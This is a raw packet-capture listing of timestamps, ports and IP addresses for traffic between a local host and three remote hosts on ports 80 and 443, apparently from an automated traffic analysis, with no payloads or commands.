Sep 6, 2024 08:17:07.627998114 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.628027916 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.628168106 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.628174067 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.628191948 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.628192902 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.628196955 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.628209114 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.628232956 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.628232956 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.628256083 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.628262043 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.628273010 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.628298044 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.628344059 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.628350019 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.628360033 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.628365993 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.628371000 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.628376007 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.628387928 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.628406048 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.628406048 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.628571033 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.628814936 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.628952026 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.628987074 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.628992081 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.629041910 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.629046917 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.629053116 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.629059076 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.629070997 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.629112005 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.629117012 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.629184961 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.629237890 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.635364056 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.635370016 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.635375977 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.635448933 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.635454893 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.635467052 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.635472059 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.635484934 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.635591984 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.641074896 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.641105890 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.641165972 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.641165972 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.641191006 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.641377926 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.641655922 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.641675949 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.641738892 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.641738892 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.641745090 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.641938925 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.641943932 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.641947031 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.641966105 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.642023087 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.642023087 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.642028093 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.642215014 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.642261982 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.642276049 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.642302990 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.642472982 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.642477036 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.642633915 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.642695904 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.642712116 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.642904043 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.642908096 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.642954111 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.642976046 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.642982006 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.642986059 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.643009901 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.643032074 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.643032074 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.643228054 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.643243074 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.643296957 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.643296957 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.643302917 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.643507957 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.644671917 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.644686937 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.644891977 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.644897938 CEST	443	49745	158.69.225.124	192.168.2.4
Sep 6, 2024 08:17:07.645054102 CEST	49745	443	192.168.2.4	158.69.225.124
Sep 6, 2024 08:17:07.652744055 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.652750015 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.652755976 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.652875900 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.652882099 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.652893066 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.652899027 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.652920961 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.653009892 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.680053949 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.680063009 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.680077076 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.680083036 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.680088997 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.680094957 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.680102110 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.680140018 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.680147886 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.680181026 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.680461884 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.683260918 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.683314085 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.683320045 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.683389902 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.683396101 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.683408022 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.683413982 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.683420897 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.683469057 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.683480978 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.683506012 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.683511972 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.683522940 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.683528900 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.683535099 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.683545113 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.683554888 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.683569908 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.683614016 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.683779001 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.683803082 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.683809042 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.683820009 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.683845997 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.683851004 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.683856964 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.683888912 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.683907032 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.683907032 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.683907986 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.683916092 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.684021950 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.684026957 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.684032917 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.684039116 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.684045076 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.684056044 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.684062958 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.684077978 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.684169054 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.684184074 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.684195042 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.684221029 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.684326887 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.684333086 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.684339046 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.684343100 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.684345961 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.684349060 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.684355021 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.684359074 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.684364080 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.684370041 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.684376001 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.684389114 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.684391022 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.684395075 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.684400082 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.684427977 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.684427977 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.684427977 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.684427977 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.684679985 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.685322046 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685328960 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685340881 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685345888 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685354948 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685372114 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685379028 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685383081 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685389996 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685393095 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.685400963 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685426950 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.685426950 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.685456038 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685461044 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685477018 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685484886 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685489893 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685496092 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685513020 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.685519934 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.685519934 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.685519934 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685554028 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.685736895 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.685811043 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685843945 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685847998 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685861111 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685866117 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685878992 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.685899973 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685905933 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685916901 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685918093 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.685920954 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.685941935 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.686052084 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.686100006 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.686116934 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.686121941 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.686152935 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.686183929 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.686189890 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.686196089 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.686202049 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.686213970 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.686326981 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.686382055 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.686515093 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.687073946 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687079906 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687086105 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687160969 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687166929 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687201977 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.687213898 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687221050 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687227011 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687232971 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687239885 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687278032 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.687278032 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.687278032 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.687342882 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687350035 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687381983 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.687477112 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687483072 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687489033 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687489986 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.687493086 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687499046 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687505960 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687510967 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687516928 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687522888 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687536955 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687547922 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.687566042 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.687756062 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.687845945 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687851906 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687858105 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687906981 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687911987 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687968016 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.687984943 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.687990904 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.688029051 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.688121080 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.688388109 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.688498974 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.688503027 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.688517094 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.688546896 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.688555002 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.688565016 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.688570976 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.688585043 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.688592911 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.688597918 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.688612938 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.688752890 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.688880920 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.688920021 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.688925982 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.688957930 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.689011097 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.689017057 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.689028978 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.689034939 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:07.689063072 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.689141035 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:07.691191912 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.691283941 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.691313028 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.691359997 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.691447020 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.691452980 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.691463947 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.691469908 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.691477060 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.691483974 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.691497087 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.691500902 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.691505909 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.691509962 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.691513062 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.691526890 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.691529036 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.691534996 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.691546917 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.691560984 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.691593885 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.691593885 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.703768969 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.703799009 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.703804970 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.703810930 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.703818083 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.703830957 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.703838110 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.703922987 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.703929901 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.703937054 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.703942060 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.703967094 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.703991890 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.703999996 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704006910 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704022884 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:07.704050064 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704057932 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704063892 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704070091 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:07.704071999 CEST	49734	80	192.168.2.4	176.113.115.33
